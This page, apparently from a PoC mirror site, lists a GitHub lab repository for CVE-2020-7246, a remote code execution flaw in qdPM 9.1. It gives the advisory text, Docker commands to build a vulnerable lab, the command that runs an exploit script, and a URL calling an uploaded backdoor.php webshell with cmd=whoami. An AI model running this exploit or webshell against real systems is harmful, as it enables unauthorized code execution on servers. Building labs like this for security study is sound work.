CVE-2020-7246 PoC — qdPM 代码问题漏洞

Source

https://github.com/arafatansari/SecAssignment

Associated Vulnerability

Title:qdPM 代码问题漏洞 (CVE-2020-7246)
Description:A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier. An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection. NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.

Description

A Docker image vulnerable to CVE-2020-7246.

Readme

# CVE-2020-7246 (qdPM 9.1)

For educational purposes only.

See Reference for the details.


## Run
```
$ git clone https://github.com/arafatansari/SecAssignment.git
$ cd SecAssignment
$ docker build -t cve-assignment:ine .
$ docker run -it -p 80:80 cve-assignment:ine
$ service apache2 start | service mysql start
```

## Exploit
```
$ python Exploit/exploit.py -url http://{target-ip}/qdpm/ -u test@localhost.com -p password
```

## Check (exploited)
```
$ http://{target-ip}/qdpm/uploads/users/xxxx-backdoor.php?cmd=whoami
```

File Snapshot


 [4.0K]  /data/pocs/8f20ae43fd91c4680ccceea81f62b180432c34ed
├── [ 125]  Dockerfile
├── [4.0K]  Exploit
│   └── [4.4K]  exploit.py
├── [ 65K]  RCE_CVE-2020-7246.jpg
└── [ 530]  README.md

1 directory, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!